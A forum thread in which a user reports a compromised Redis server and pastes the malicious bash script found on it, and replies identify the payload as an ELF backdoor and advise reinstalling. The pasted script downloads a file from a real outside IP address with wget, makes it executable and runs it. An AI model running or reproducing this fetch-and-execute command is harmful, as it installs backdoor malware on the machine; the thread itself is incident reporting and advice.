Today I found that a server redis could not connect, and found such an instruction on the server
#!/bin/bash
zfile="/tmp/z.TF"
if [ ! -f "$zfile" ]; then
wget -P /tmp/ http://27.102.101.67/z.TF && chmod 777 /tmp/z.TF && /tmp/z.TF
fi
The z.TF file is downloaded and executed. When z.TF is opened, it is all bytecode. This program can be automatically re-executed.
Currently, this program process is killed, but the redis service is still unavailable. I don’t know if there are other malicious programs left.
Could someone please explain the content of z.TF? And how to deal with it.
![[Web front-end] Node.js quick start](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
z.TF is a Linux executable file in ELF format
Your server has a backdoor installed. Reinstall the system as soon as possible to fix the vulnerability.
Upgrade everything that needs to be upgraded.
It’s basically a backdoor + broiler
By the way, please send me the code of t.ZF
Didn’t you explain the code you posted clearly?